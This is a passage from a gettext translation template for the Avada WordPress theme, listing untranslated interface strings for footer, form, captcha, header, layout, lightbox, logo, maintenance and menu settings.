msgstr "" #: includes/options/footer.php:95 msgid "Edit Footer" msgstr "" #: includes/options/footer.php:101 msgid "Edit Footer Widgets" msgstr "" #: includes/options/footer.php:110 msgid "Number of Footer Columns" msgstr "" #: includes/options/footer.php:111 msgid "Controls the number of columns in the footer." msgstr "" #: includes/options/footer.php:131 msgid "Center Footer Widgets Content" msgstr "" #: includes/options/footer.php:132 msgid "Turn on to center the footer widget content." msgstr "" #: includes/options/footer.php:155 msgid "Select a special effect for the footer area." msgstr "" #: includes/options/footer.php:162 msgid "Footer Parallax Effect" msgstr "" #: includes/options/footer.php:163 msgid "This enables a fixed footer with parallax scrolling effect." msgstr "" #: includes/options/footer.php:167 msgid "" "This enables a parallax effect on the background image selected in " "\"Background Image For Footer Widget Area\" field." msgstr "" #: includes/options/footer.php:170 msgid "Sticky Footer" msgstr "" #: includes/options/footer.php:171 msgid "" "This enables a sticky footer. On short pages, the footer will always stick " "at the bottom, just \"above the fold\". On long enough pages, it will act " "just like a normal footer. IMPORTANT: This will not work properly when " "using a Left or Right Side Header layout and the side header is larger than " "the viewport." msgstr "" #: includes/options/footer.php:174 msgid "Sticky Footer and Parallax Background Image" msgstr "" #: includes/options/footer.php:175 msgid "" "This enables a sticky footer together with a parallax effect on the " "background image. On short pages, the footer will always stick at the " "bottom, just \"above the fold\". On long enough pages, it will act just " "like a normal footer." msgstr "" #: includes/options/footer.php:288 msgid "Copyright Bar" msgstr "" #: includes/options/footer.php:289 msgid "Turn on to display the copyright bar." msgstr "" #: includes/options/footer.php:303 msgid "Center Copyright Content" msgstr "" #: includes/options/footer.php:304 msgid "Turn on to center the copyright bar content." msgstr "" #: includes/options/footer.php:326 msgid "Copyright Text" msgstr "" #: includes/options/footer.php:327 msgid "Enter the text that displays in the copyright bar. HTML markup can be used." msgstr "" #: includes/options/footer.php:330 #. translators: %1$s: Years. %2$s: Avada Product Link. %3$s: ThemeFusion link. #. %4$s: WordPress link. msgid "Copyright %1$s | %2$s by %3$s | All Rights Reserved | Powered by %4$s" msgstr "" #: includes/options/footer.php:351 msgid "Footer Background Image" msgstr "" #: includes/options/footer.php:369 msgid "Background Image For Footer Widget Area" msgstr "" #: includes/options/footer.php:370 msgid "" "Select an image for the footer widget background. If left empty, the footer " "background color will be used." msgstr "" #: includes/options/footer.php:402 msgid "" "Turn on to have the footer background image display at 100% in width and " "height according to the window size." msgstr "" #: includes/options/footer.php:458 msgid "Controls how the background image is positioned." msgstr "" #: includes/options/footer.php:463 msgid "top left" msgstr "" #: includes/options/footer.php:464 msgid "top center" msgstr "" #: includes/options/footer.php:465 msgid "top right" msgstr "" #: includes/options/footer.php:466 msgid "center left" msgstr "" #: includes/options/footer.php:467 msgid "center center" msgstr "" #: includes/options/footer.php:468 msgid "center right" msgstr "" #: includes/options/footer.php:469 msgid "bottom left" msgstr "" #: includes/options/footer.php:470 msgid "bottom center" msgstr "" #: includes/options/footer.php:471 msgid "bottom right" msgstr "" #: includes/options/footer.php:484 msgid "Footer Styling" msgstr "" #: includes/options/footer.php:503 msgid "" "Turn on to have the footer area display at 100% width according to the " "window size. Turn off to follow site width." msgstr "" #: includes/options/footer.php:526 msgid "Footer Padding" msgstr "" #: includes/options/footer.php:527 msgid "Controls the top/right/bottom/left padding for the footer." msgstr "" #: includes/options/footer.php:568 msgid "Footer Background Color" msgstr "" #: includes/options/footer.php:569 msgid "Controls the background color of the footer." msgstr "" #: includes/options/footer.php:583 msgid "Footer Border Size" msgstr "" #: includes/options/footer.php:584 msgid "Controls the size of the top footer border." msgstr "" #: includes/options/footer.php:603 msgid "Footer Border Color" msgstr "" #: includes/options/footer.php:604 msgid "Controls the border colors of the footer." msgstr "" #: includes/options/footer.php:618 msgid "Footer Widgets Area Vertical Divider Line" msgstr "" #: includes/options/footer.php:619 msgid "" "Turn on to have the footer widget area display vertical divider line " "between columns." msgstr "" #: includes/options/footer.php:650 msgid "Footer Widgets Area Vertical Divider Line Size" msgstr "" #: includes/options/footer.php:651 msgid "" "Controls the size of the vertical divider line between footer widget area " "columns." msgstr "" #: includes/options/footer.php:670 msgid "Footer Widgets Area Vertical Divider Line Style" msgstr "" #: includes/options/footer.php:671 msgid "" "Controls the style of the vertical divider line between footer widget area " "columns." msgstr "" #: includes/options/footer.php:680 msgid "Groove" msgstr "" #: includes/options/footer.php:681 msgid "Ridge" msgstr "" #: includes/options/footer.php:693 msgid "Footer Widget Divider Color" msgstr "" #: includes/options/footer.php:694 msgid "" "Controls the divider color in the footer widgets and also the vertical " "divider lines between widget areas." msgstr "" #: includes/options/footer.php:707 msgid "Footer Widgets Area Padding" msgstr "" #: includes/options/footer.php:708 msgid "Controls the right/left padding for the footer widget areas." msgstr "" #: includes/options/footer.php:725 msgid "Copyright Padding" msgstr "" #: includes/options/footer.php:726 msgid "Controls the top/bottom padding for the copyright area." msgstr "" #: includes/options/footer.php:752 msgid "Copyright Background Color" msgstr "" #: includes/options/footer.php:753 msgid "Controls the background color of the footer copyright area." msgstr "" #: includes/options/footer.php:767 msgid "Copyright Border Size" msgstr "" #: includes/options/footer.php:768 msgid "Controls the size of the top copyright border." msgstr "" #: includes/options/footer.php:787 msgid "Copyright Border Color" msgstr "" #: includes/options/footer.php:788 msgid "Controls the border colors for the footer copyright area." msgstr "" #: includes/options/footer.php:802 msgid "Footer Typography" msgstr "" #: includes/options/footer.php:809 msgid "Footer Headings Typography" msgstr "" #: includes/options/footer.php:810 msgid "These settings control the typography for the footer headings." msgstr "" #: includes/options/footer.php:872 msgid "Footer Font Color" msgstr "" #: includes/options/footer.php:873 msgid "Controls the text color of the footer font." msgstr "" #: includes/options/footer.php:886 msgid "Footer Link Color" msgstr "" #: includes/options/footer.php:887 msgid "Controls the text color of the footer link font." msgstr "" #: includes/options/footer.php:901 msgid "Footer Link Hover Color" msgstr "" #: includes/options/footer.php:902 msgid "Controls the text hover color of the footer link font." msgstr "" #: includes/options/footer.php:916 msgid "Copyright Text Color" msgstr "" #: includes/options/footer.php:917 msgid "Controls the text color of the footer copyright area." msgstr "" #: includes/options/footer.php:937 msgid "Copyright Link Color" msgstr "" #: includes/options/footer.php:938 msgid "Controls the link color of the footer copyright area." msgstr "" #: includes/options/footer.php:958 msgid "Copyright Link Hover Color" msgstr "" #: includes/options/footer.php:959 msgid "Controls the link hover color of the footer copyright area." msgstr "" #: includes/options/footer.php:979 msgid "Copyright Font Size" msgstr "" #: includes/options/footer.php:980 msgid "Controls the font size for the copyright text." msgstr "" #: includes/options/forms.php:43 msgid "Forms Styling" msgstr "" #: includes/options/forms.php:50 msgid "" "IMPORTANT NOTE: The options on this tab apply to all forms " "throughout the site, including Avada Forms and the 3rd party plugins that " "Avada has design integration with." msgstr "" #: includes/options/forms.php:55 msgid "Form Input and Select Height" msgstr "" #: includes/options/forms.php:56 msgid "Controls the height of all search, form input and select fields." msgstr "" #: includes/options/forms.php:80 msgid "Form Font Size" msgstr "" #: includes/options/forms.php:81 msgid "Controls the size of the form text." msgstr "" #: includes/options/forms.php:93 msgid "Form Field Background Color" msgstr "" #: includes/options/forms.php:94 msgid "Controls the background color of form fields." msgstr "" #: includes/options/forms.php:107 msgid "Form Text Color" msgstr "" #: includes/options/forms.php:108 msgid "Controls the color of the form text." msgstr "" #: includes/options/forms.php:126 msgid "Form Border Size" msgstr "" #: includes/options/forms.php:127 msgid "Controls the border size of the form fields." msgstr "" #: includes/options/forms.php:166 msgid "Form Border Color" msgstr "" #: includes/options/forms.php:167 msgid "Controls the border color of the form fields." msgstr "" #: includes/options/forms.php:182 msgid "Controls the border color of the form fields when they have focus." msgstr "" #: includes/options/forms.php:201 msgid "Form Border Radius" msgstr "" #: includes/options/forms.php:202 msgid "" "Controls the border radius of the form fields. Also works, if border size " "is set to 0." msgstr "" #: includes/options/forms.php:220 msgid "Form Views Counter" msgstr "" #: includes/options/forms.php:246 msgid "Cloudflare Turnstile" msgstr "" #: includes/options/forms.php:252 msgid "Site Key" msgstr "" #: includes/options/forms.php:254 #. translators: "our docs" link. msgid "Follow the steps in %s to create/access your site key." msgstr "" #: includes/options/forms.php:254 includes/options/forms.php:263 msgid "Cloudflare Turnstile docs" msgstr "" #: includes/options/forms.php:261 msgid "Secret Key" msgstr "" #: includes/options/forms.php:263 #. translators: "our docs" link. msgid "Follow the steps in %s to create/access your secret key." msgstr "" #: includes/options/forms.php:271 msgid "Appearance Mode" msgstr "" #: includes/options/forms.php:272 msgid "" "Choose the Turnstile appearance mode. \"Always\" will display the widget on " "page load in any case, while \"Interaction Only\" will make it visible only " "when visitor interaction is required." msgstr "" #: includes/options/forms.php:277 msgid "Interaction Only" msgstr "" #: includes/options/forms.php:283 msgid "Choose the Turnstile color scheme." msgstr "" #: includes/options/forms.php:294 msgid "Widget Size" msgstr "" #: includes/options/forms.php:295 msgid "Choose the Turnstile widget size." msgstr "" #: includes/options/forms.php:299 msgid "Normal (300px)" msgstr "" #: includes/options/forms.php:300 msgid "Flexible (100%)" msgstr "" #: includes/options/forms.php:301 msgid "Compact (150px)" msgstr "" #: includes/options/forms.php:307 msgid "Choose the Turnstile widget language." msgstr "" #: includes/options/forms.php:313 msgid "Turnstile For Comments" msgstr "" #: includes/options/forms.php:314 msgid "Turn on to add Turnstile to comment forms." msgstr "" #: includes/options/forms.php:322 msgid "Google reCaptcha" msgstr "" #: includes/options/forms.php:327 msgid "reCAPTCHA Version" msgstr "" #: includes/options/forms.php:328 msgid "" "Set the reCAPTCHA version you want to use and make sure your keys below " "match the set version." msgstr "" #: includes/options/forms.php:333 msgid "V2" msgstr "" #: includes/options/forms.php:334 msgid "V3" msgstr "" #: includes/options/forms.php:339 msgid "reCAPTCHA Site Key" msgstr "" #: includes/options/forms.php:341 #. translators: "our docs" link. msgid "Follow the steps in %s to get the site key." msgstr "" #: includes/options/forms.php:341 includes/options/forms.php:351 msgid "our docs" msgstr "" #: includes/options/forms.php:349 msgid "reCAPTCHA Secret Key" msgstr "" #: includes/options/forms.php:351 #. translators: "our docs" link. msgid "Follow the steps in %s to get the secret key." msgstr "" #: includes/options/forms.php:359 msgid "reCAPTCHA Color Scheme" msgstr "" #: includes/options/forms.php:360 msgid "Controls the reCAPTCHA color scheme." msgstr "" #: includes/options/forms.php:378 msgid "reCAPTCHA Security Score" msgstr "" #: includes/options/forms.php:379 msgid "" "Set a threshold score that must be met by the reCAPTCHA response. The " "higher the score the harder it becomes for bots, but also false positives " "increase." msgstr "" #: includes/options/forms.php:399 msgid "reCAPTCHA Badge Position" msgstr "" #: includes/options/forms.php:400 msgid "" "Set where and if the reCAPTCHA badge should be displayed. " "NOTE: Google's Terms and Privacy information needs to be " "displayed on the contact form." msgstr "" #: includes/options/forms.php:420 msgid "reCAPTCHA For User Elements" msgstr "" #: includes/options/forms.php:421 msgid "" "Turn on to add reCAPTCHA to the user login, user lost password and user " "registration forms." msgstr "" #: includes/options/forms.php:427 msgid "reCAPTCHA For Comments" msgstr "" #: includes/options/forms.php:428 msgid "Turn on to add reCAPTCHA to comment forms." msgstr "" #: includes/options/forms.php:442 msgid "HubSpot API" msgstr "" #: includes/options/forms.php:443 msgid "Select a method to connect to your HubSpot account." msgstr "" #: includes/options/forms.php:448 includes/options/forms.php:517 msgid "OAuth" msgstr "" #: includes/options/forms.php:449 includes/options/forms.php:518 msgid "API Key" msgstr "" #: includes/options/forms.php:455 msgid "HubSpot API Key" msgstr "" #: includes/options/forms.php:457 includes/options/forms.php:526 #. translators: "our docs" link. msgid "Follow the steps in %s to access your API key." msgstr "" #: includes/options/forms.php:457 msgid "HubSpot docs" msgstr "" #: includes/options/forms.php:485 msgid "Reset HubSpot Properties" msgstr "" #: includes/options/forms.php:486 msgid "Resets all HubSpot properties data." msgstr "" #: includes/options/forms.php:490 msgid "Reset HubSpot Cache" msgstr "" #: includes/options/forms.php:511 msgid "Mailchimp API" msgstr "" #: includes/options/forms.php:512 msgid "Select a method to connect to your Mailchimp account." msgstr "" #: includes/options/forms.php:524 msgid "Mailchimp API Key" msgstr "" #: includes/options/forms.php:526 msgid "Mailchimp docs" msgstr "" #: includes/options/forms.php:554 msgid "Reset Mailchimp Lists and Fields" msgstr "" #: includes/options/forms.php:555 msgid "Resets all Mailchimp lists and fields data." msgstr "" #: includes/options/forms.php:559 msgid "Reset Mailchimp Cache" msgstr "" #: includes/options/header.php:54 includes/options/header.php:279 msgid "Controls if the slider displays below or above the header." msgstr "" #: includes/options/header.php:82 #. translators: %1$s: Content|Footer|Page Title Bar. %2$s: Layout selection #. URL. %3$s: URL for global header layout edit. msgid "" "IMPORTANT NOTE: The options on this tab are not available " "because a global %1$s override is currently used. To edit your global " "layout please visit this page, or edit the header." msgstr "" #: includes/options/header.php:92 msgid "Edit Header" msgstr "" #: includes/options/header.php:105 msgid "Header Content" msgstr "" #: includes/options/header.php:126 msgid "" "Controls the position of the header to be in the top, left or right of the " "site. The main menu height, header padding and logo margin options will " "auto adjust based off your selection for ideal aesthetics." msgstr "" #: includes/options/header.php:185 msgid "Select a Header Layout" msgstr "" #: includes/options/header.php:186 msgid "" "Controls the general layout of the header. Headers 2-5 allow additional " "content areas via the header content options 1-3. Header 6 only allows " "parent level menu items, no child levels will display. The main menu " "height, header padding and logo margin options will auto adjust based off " "your selection for ideal aesthetics." msgstr "" #: includes/options/header.php:229 msgid "Edit Header Layout" msgstr "" #: includes/options/header.php:242 msgid "Add Page Title Bar" msgstr "" #: includes/options/header.php:310 msgid "Header Content 1" msgstr "" #: includes/options/header.php:311 msgid "Controls the content that displays in the top left section." msgstr "" #: includes/options/header.php:316 includes/options/header.php:376 msgid "Contact Info" msgstr "" #: includes/options/header.php:317 includes/options/header.php:377 msgid "Social Links" msgstr "" #: includes/options/header.php:318 includes/options/header.php:378 msgid "Navigation" msgstr "" #: includes/options/header.php:319 includes/options/header.php:379 #: includes/options/header.php:440 msgid "Leave Empty" msgstr "" #: includes/options/header.php:370 msgid "Header Content 2" msgstr "" #: includes/options/header.php:371 msgid "Controls the content that displays in the top right section." msgstr "" #: includes/options/header.php:430 msgid "Header Content 3" msgstr "" #: includes/options/header.php:431 msgid "Controls the content that displays in the middle right section." msgstr "" #: includes/options/header.php:436 msgid "Tagline" msgstr "" #: includes/options/header.php:438 msgid "Tagline And Search" msgstr "" #: includes/options/header.php:439 msgid "Banner" msgstr "" #: includes/options/header.php:476 msgid "Phone Number For Contact Info" msgstr "" #: includes/options/header.php:477 includes/options/header.php:518 msgid "" "This content will display if you have \"Contact Info\" selected for the " "Header Content 1 or 2 option above." msgstr "" #: includes/options/header.php:517 msgid "Email Address For Contact Info" msgstr "" #: includes/options/header.php:559 msgid "Tagline For Content 3" msgstr "" #: includes/options/header.php:560 msgid "" "This content will display if you have \"Tagline\" selected for the Header " "Content 3 option above." msgstr "" #: includes/options/header.php:595 msgid "Banner Code For Content 3" msgstr "" #: includes/options/header.php:596 msgid "" "This content will display if you have \"Banner\" selected for the Header " "Content 3 option above. Add HTML banner code for Header Content 3. " "Elements, like buttons, can be used here also." msgstr "" #: includes/options/header.php:640 msgid "Header Background Image" msgstr "" #: includes/options/header.php:660 msgid "Background Image For Header Area" msgstr "" #: includes/options/header.php:661 msgid "" "Select an image for the header background. If left empty, the header " "background color will be used. For top headers the image displays on top of " "the header background color and will only display if header background " "color opacity is set to 1. For side headers the image displays behind the " "header background color so the header background opacity must be set below " "1 to see the image." msgstr "" #: includes/options/header.php:691 msgid "" "Turn on to have the header background image display at 100% in width and " "height according to the window size." msgstr "" #: includes/options/header.php:738 msgid "" "Turn on to use a parallax scrolling effect on the background image. Only " "works for top header position." msgstr "" #: includes/options/header.php:843 msgid "Header Styling" msgstr "" #: includes/options/header.php:863 msgid "Header Width For Left/Right Position" msgstr "" #: includes/options/header.php:864 msgid "Controls the width of the left or right side header." msgstr "" #: includes/options/header.php:906 msgid "Header Padding" msgstr "" #: includes/options/header.php:907 msgid "Controls the top/right/bottom/left padding for the header." msgstr "" #: includes/options/header.php:976 msgid "Header Shadow" msgstr "" #: includes/options/header.php:977 msgid "Turn on to display a header drop shadow." msgstr "" #: includes/options/header.php:999 msgid "" "Turn on to have the header area display at 100% width according to the " "window size. Turn off to follow site width." msgstr "" #: includes/options/header.php:1033 msgid "" "Controls the background color and opacity for the header. For top headers, " "opacity set below 1 will remove the header height completely. For side " "headers, opacity set below 1 will display a color overlay. Transparent " "headers are disabled on all archive pages due to technical limitations." msgstr "" #: includes/options/header.php:1061 msgid "Archive Header Background Color" msgstr "" #: includes/options/header.php:1062 msgid "" "Controls the background color and opacity for the header on archive pages, " "search page and 404 page. For top headers, opacity set below 1 will remove " "the header height completely. For side headers, opacity set below 1 will " "display a color overlay." msgstr "" #: includes/options/header.php:1090 msgid "Header Border Color" msgstr "" #: includes/options/header.php:1091 msgid "" "Controls the border colors for the header. If using left or right header " "position it controls the menu divider lines." msgstr "" #: includes/options/header.php:1147 msgid "Header Top Background Color" msgstr "" #: includes/options/header.php:1148 msgid "Controls the background color of the top header section used in Headers 2-5." msgstr "" #: includes/options/header.php:1193 msgid "Header Tagline Font Size" msgstr "" #: includes/options/header.php:1194 msgid "Controls the font size for the tagline text when using header 4." msgstr "" #: includes/options/header.php:1222 msgid "Header Tagline Font Color" msgstr "" #: includes/options/header.php:1223 msgid "Controls the font color for the tagline text when using header 4." msgstr "" #: includes/options/header.php:1251 includes/options/header.php:1271 msgid "Sticky Header" msgstr "" #: includes/options/header.php:1272 msgid "Turn on to enable a sticky header." msgstr "" #: includes/options/header.php:1354 msgid "Sticky Header on Tablets" msgstr "" #: includes/options/header.php:1355 msgid "Turn on to enable a sticky header when scrolling on tablets." msgstr "" #: includes/options/header.php:1435 msgid "Sticky Header on Mobiles" msgstr "" #: includes/options/header.php:1436 msgid "Turn on to enable a sticky header when scrolling on mobiles." msgstr "" #: includes/options/header.php:1517 msgid "Sticky Header Animation" msgstr "" #: includes/options/header.php:1518 msgid "" "Turn on to allow the sticky header to animate to a smaller height when " "activated. Only works with header v1 - v3, v6 and v7." msgstr "" #: includes/options/header.php:1556 msgid "Sticky Header Display For Headers 4 - 5 " msgstr "" #: includes/options/header.php:1557 msgid "Controls what displays in the sticky header when using header v4 - v5." msgstr "" #: includes/options/header.php:1562 msgid "Menu Only" msgstr "" #: includes/options/header.php:1563 msgid "Menu + Logo Area" msgstr "" #: includes/options/header.php:1623 msgid "Sticky Header Shadow" msgstr "" #: includes/options/header.php:1624 msgid "Turn on to display a sticky header drop shadow." msgstr "" #: includes/options/header.php:1668 msgid "Sticky Header Background Color" msgstr "" #: includes/options/header.php:1669 msgid "Controls the background color for the sticky header." msgstr "" #: includes/options/header.php:1704 msgid "Sticky Header Menu Font Color" msgstr "" #: includes/options/header.php:1705 msgid "Controls the color for main menu text in the sticky header." msgstr "" #: includes/options/header.php:1725 msgid "Sticky Header Menu Item Padding" msgstr "" #: includes/options/header.php:1726 msgid "Controls the space between each menu item in the sticky header." msgstr "" #: includes/options/header.php:1756 msgid "Sticky Header Navigation Font Size" msgstr "" #: includes/options/header.php:1757 msgid "Controls the font size of the menu items in the sticky header." msgstr "" #: includes/options/layout.php:49 msgid "Controls the site layout." msgstr "" #: includes/options/layout.php:108 msgid "Controls the overall site width." msgstr "" #: includes/options/layout.php:113 msgid "" "The value was changed in Avada 5.1 to include both the site-width & " "side-header width, ex: calc(90% + 300px). Leave this as is, or update it " "with a single percentage, ex: 95%" msgstr "" #: includes/options/layout.php:201 msgid "Boxed Mode Top/Bottom Offset" msgstr "" #: includes/options/layout.php:202 msgid "Controls the top/bottom offset of the boxed background." msgstr "" #: includes/options/layout.php:266 msgid "Boxed Mode Offset Scroll Mode" msgstr "" #: includes/options/layout.php:267 msgid "" "Choose how the page will scroll. Framed scrolling will keep the offset in " "place, while Full scrolling removes the offset when scrolling the page." msgstr "" #: includes/options/layout.php:271 msgid "Framed Scrolling" msgstr "" #: includes/options/layout.php:272 msgid "Full Scrolling" msgstr "" #: includes/options/layout.php:321 msgid "Boxed Mode Shadow Type" msgstr "" #: includes/options/layout.php:322 msgid "Controls the type of shadow your boxed mode displays." msgstr "" #: includes/options/layout.php:327 msgid "No Shadow" msgstr "" #: includes/options/layout.php:328 msgid "Light Shadow" msgstr "" #: includes/options/layout.php:329 msgid "Medium Shadow" msgstr "" #: includes/options/layout.php:330 msgid "Hard Shadow" msgstr "" #: includes/options/layout.php:365 msgid "Controls the top/bottom padding for page content." msgstr "" #: includes/options/layout.php:393 msgid "Default Page Template" msgstr "" #: includes/options/layout.php:394 msgid "Choose the default page template." msgstr "" #: includes/options/layout.php:407 msgid "" "Controls the left and right padding for page content when using 100% site " "width, 100% width page template or 100% width post option. This does not " "affect Avada Builder containers." msgstr "" #: includes/options/lightbox.php:27 includes/options/lightbox.php:34 msgid "Lightbox" msgstr "" #: includes/options/lightbox.php:35 msgid "Turn on to enable the lightbox throughout the theme." msgstr "" #: includes/options/lightbox.php:41 msgid "Lightbox For Featured Images On Single Post Pages" msgstr "" #: includes/options/lightbox.php:42 msgid "" "Turn on to enable the lightbox on single blog and portfolio posts for the " "main featured images." msgstr "" #: includes/options/lightbox.php:55 msgid "Lightbox Behavior" msgstr "" #: includes/options/lightbox.php:56 msgid "Controls what the lightbox displays for single blog and portfolio posts." msgstr "" #: includes/options/lightbox.php:61 msgid "First featured image of every post" msgstr "" #: includes/options/lightbox.php:62 msgid "Only featured images of individual post" msgstr "" #: includes/options/lightbox.php:73 msgid "Lightbox Skin" msgstr "" #: includes/options/lightbox.php:74 msgid "Controls the lightbox skin design." msgstr "" #: includes/options/lightbox.php:81 msgid "Mac" msgstr "" #: includes/options/lightbox.php:82 msgid "Metro Black" msgstr "" #: includes/options/lightbox.php:83 msgid "Metro White" msgstr "" #: includes/options/lightbox.php:84 msgid "Parade" msgstr "" #: includes/options/lightbox.php:85 msgid "Smooth" msgstr "" #: includes/options/lightbox.php:112 msgid "Thumbnails Position" msgstr "" #: includes/options/lightbox.php:113 msgid "Controls the position of the lightbox thumbnails." msgstr "" #: includes/options/lightbox.php:146 msgid "Animation Speed" msgstr "" #: includes/options/lightbox.php:147 msgid "Controls the animation speed of the lightbox." msgstr "" #: includes/options/lightbox.php:152 msgid "Fast" msgstr "" #: includes/options/lightbox.php:154 msgid "Slow" msgstr "" #: includes/options/lightbox.php:181 msgid "Lightbox Image Hover Zoom" msgstr "" #: includes/options/lightbox.php:182 msgid "" "Set the scale factor for hovered images inside the lightbox. Set to 1 to " "disable zoom." msgstr "" #: includes/options/lightbox.php:216 msgid "Arrows" msgstr "" #: includes/options/lightbox.php:217 msgid "Turn on to display arrows in the lightbox" msgstr "" #: includes/options/lightbox.php:251 msgid "Gallery Start/Stop Button" msgstr "" #: includes/options/lightbox.php:252 msgid "Turn on to display the gallery start and stop button." msgstr "" #: includes/options/lightbox.php:281 msgid "Loop Lightbox Gallery" msgstr "" #: includes/options/lightbox.php:282 msgid "Turn on to loop the lightbox gallery." msgstr "" #: includes/options/lightbox.php:311 msgid "Autoplay the Lightbox Gallery" msgstr "" #: includes/options/lightbox.php:312 msgid "Turn on to autoplay the lightbox gallery." msgstr "" #: includes/options/lightbox.php:341 includes/options/slideshows.php:62 msgid "Slideshow Speed" msgstr "" #: includes/options/lightbox.php:342 msgid "Controls the slideshow speed if autoplay is turned on. ex: 1000 = 1 second." msgstr "" #: includes/options/lightbox.php:376 msgid "Background Opacity" msgstr "" #: includes/options/lightbox.php:377 msgid "Controls the opacity level for the background behind the lightbox." msgstr "" #: includes/options/lightbox.php:412 msgid "Turn on to display the image title in the lightbox." msgstr "" #: includes/options/lightbox.php:442 msgid "Turn on to display the image caption in the lightbox." msgstr "" #: includes/options/lightbox.php:471 includes/options/social_media.php:701 #: includes/options/social_media.php:825 msgid "Social Sharing" msgstr "" #: includes/options/lightbox.php:472 msgid "Turn on to display social sharing buttons on lightbox." msgstr "" #: includes/options/lightbox.php:501 msgid "Deeplinking" msgstr "" #: includes/options/lightbox.php:502 msgid "Turn on to deeplink images in the lightbox." msgstr "" #: includes/options/lightbox.php:517 msgid "Show Post Images in Lightbox" msgstr "" #: includes/options/lightbox.php:518 msgid "" "Turn on to display post images in the lightbox that are inside the post " "content area." msgstr "" #: includes/options/lightbox.php:547 msgid "Slideshow Video Dimensions" msgstr "" #: includes/options/lightbox.php:548 msgid "Controls the width and height for videos inside the lightbox." msgstr "" #: includes/options/logo.php:48 msgid "Logo Alignment" msgstr "" #: includes/options/logo.php:49 msgid "" "Controls the logo alignment. \"Center\" only works on Header 5 and Side " "Headers." msgstr "" #: includes/options/logo.php:134 msgid "Logo Margins" msgstr "" #: includes/options/logo.php:135 msgid "Controls the top/right/bottom/left margins for the logo." msgstr "" #: includes/options/logo.php:284 msgid "Logo Background" msgstr "" #: includes/options/logo.php:285 msgid "Turn on to display a colored background for the logo." msgstr "" #: includes/options/logo.php:342 msgid "Logo Background Color" msgstr "" #: includes/options/logo.php:343 msgid "Controls the background color for the logo." msgstr "" #: includes/options/logo.php:393 msgid "Logo Custom Link URL" msgstr "" #: includes/options/logo.php:394 msgid "" "Enter a custom URL the site logo should link to. Leave empty to let logo " "link to the home page." msgstr "" #: includes/options/logo.php:409 includes/options/logo.php:416 msgid "Default Logo" msgstr "" #: includes/options/logo.php:417 msgid "Select an image file for your logo." msgstr "" #: includes/options/logo.php:434 msgid "Edit Logo" msgstr "" #: includes/options/logo.php:442 msgid "Retina Default Logo" msgstr "" #: includes/options/logo.php:443 msgid "" "Select an image file for the retina version of the logo. It should be " "exactly 2x the size of the main logo." msgstr "" #: includes/options/logo.php:483 includes/options/logo.php:490 msgid "Sticky Header Logo" msgstr "" #: includes/options/logo.php:491 msgid "Select an image file for your sticky header logo." msgstr "" #: includes/options/logo.php:521 msgid "Retina Sticky Header Logo" msgstr "" #: includes/options/logo.php:522 msgid "" "Select an image file for the retina version of the sticky header logo. It " "should be exactly 2x the size of the sticky header logo." msgstr "" #: includes/options/logo.php:562 includes/options/logo.php:569 msgid "Mobile Logo" msgstr "" #: includes/options/logo.php:570 msgid "Select an image file for your mobile logo." msgstr "" #: includes/options/logo.php:585 msgid "Retina Mobile Logo" msgstr "" #: includes/options/logo.php:586 msgid "" "Select an image file for the retina version of the mobile logo. It should " "be exactly 2x the size of the mobile logo." msgstr "" #: includes/options/logo.php:628 includes/options/logo.php:636 msgid "Favicon" msgstr "" #: includes/options/logo.php:637 msgid "Favicon for your website at 32px x 32px or 64px x 64px." msgstr "" #: includes/options/logo.php:646 msgid "Apple Touch Icon" msgstr "" #: includes/options/logo.php:647 msgid "Favicon for Apple iOS devices at 180px x 180px." msgstr "" #: includes/options/logo.php:656 msgid "Android Devices Icon" msgstr "" #: includes/options/logo.php:657 msgid "Favicon for Android-based devices at 192px x 192px." msgstr "" #: includes/options/logo.php:666 msgid "Microsoft Edge Icon" msgstr "" #: includes/options/logo.php:667 msgid "Favicon for Microsoft Edge browsers at 270px x 270px." msgstr "" #: includes/options/maintenance.php:42 msgid "Mode" msgstr "" #: includes/options/maintenance.php:43 msgid "" "Set your site to Maintenance Mode to take it offline temporarily (status " "code 503), or to Coming Soon mode (status code 200), taking it offline " "until it is ready to be launched." msgstr "" #: includes/options/maintenance.php:54 msgid "URL Redirect" msgstr "" #: includes/options/maintenance.php:55 msgid "" "If set, this option will redirect users without access to the URL given. " "Enter with protocol (e.g. https://)." msgstr "" #: includes/options/maintenance.php:68 msgid "Page Template" msgstr "" #: includes/options/maintenance.php:69 msgid "Select an Avada Library template for the Maintenance or Coming Soon page." msgstr "" #: includes/options/maintenance.php:75 msgid "Edit Template" msgstr "" #: includes/options/maintenance.php:93 msgid "User Roles For Access" msgstr "" #: includes/options/maintenance.php:94 msgid "" "Select the user roles that should be able to access the site when. " "NOTE: Administrators will always have access." msgstr "" #: includes/options/maintenance.php:109 msgid "Exclude" msgstr "" #: includes/options/maintenance.php:110 msgid "" "Exclude parts of your site like feed, pages, or archives from Maintenance " "or Coming Soon mode. Add one slug or URL per line." msgstr "" #: includes/options/maintenance.php:123 msgid "Page Title HTML Tag" msgstr "" #: includes/options/maintenance.php:124 msgid "" "This will also be used in the default page template. Leave empty for " "default title." msgstr "" #: includes/options/maintenance.php:142 msgid "Robots Meta Tag" msgstr "" #: includes/options/maintenance.php:143 msgid "" "Decide whether the Maintenance or Coming Soon page should get indexed by " "search engines." msgstr "" #: includes/options/maintenance.php:148 msgid "Index/Follow" msgstr "" #: includes/options/maintenance.php:149 msgid "Noindex/Nofollow" msgstr "" #: includes/options/menu.php:36 includes/options/menu.php:47 #. translators: value. msgid " To match the logo height set to %s." msgstr "" #: includes/options/menu.php:68 msgid "Menu" msgstr "" #: includes/options/menu.php:121 msgid "Main Menu Height" msgstr "" #: includes/options/menu.php:122 msgid "Controls the menu height." msgstr "" #: includes/options/menu.php:171 msgid "Edit Main Menu" msgstr "" #: includes/options/menu.php:179 msgid "Main Menu Highlight Style" msgstr "" #: includes/options/menu.php:180 msgid "" "Controls the highlight style for main menu links and also affects the look " "of menu dropdowns. Arrow style cannot work with a transparent header " "background. Bar highlights will display vertically on side header layouts. " "IMPORTANT: Arrow & Background style can require " "configuration of other options depending on desired effect." msgstr "" #: includes/options/menu.php:180 msgid "See this post for more information" msgstr "" #: includes/options/menu.php:184 includes/options/woocommerce.php:1120 msgid "Top Bar" msgstr "" #: includes/options/menu.php:185 msgid "Bottom Bar" msgstr "" #: includes/options/menu.php:186 msgid "Arrow" msgstr "" #: includes/options/menu.php:188 msgid "Color Only" msgstr "" #: includes/options/menu.php:252 msgid "Main Menu Highlight Background Color" msgstr "" #: includes/options/menu.php:253 msgid "Controls the background color of main menu highlight." msgstr "" #: includes/options/menu.php:288 msgid "Main Menu Arrow Size" msgstr "" #: includes/options/menu.php:289 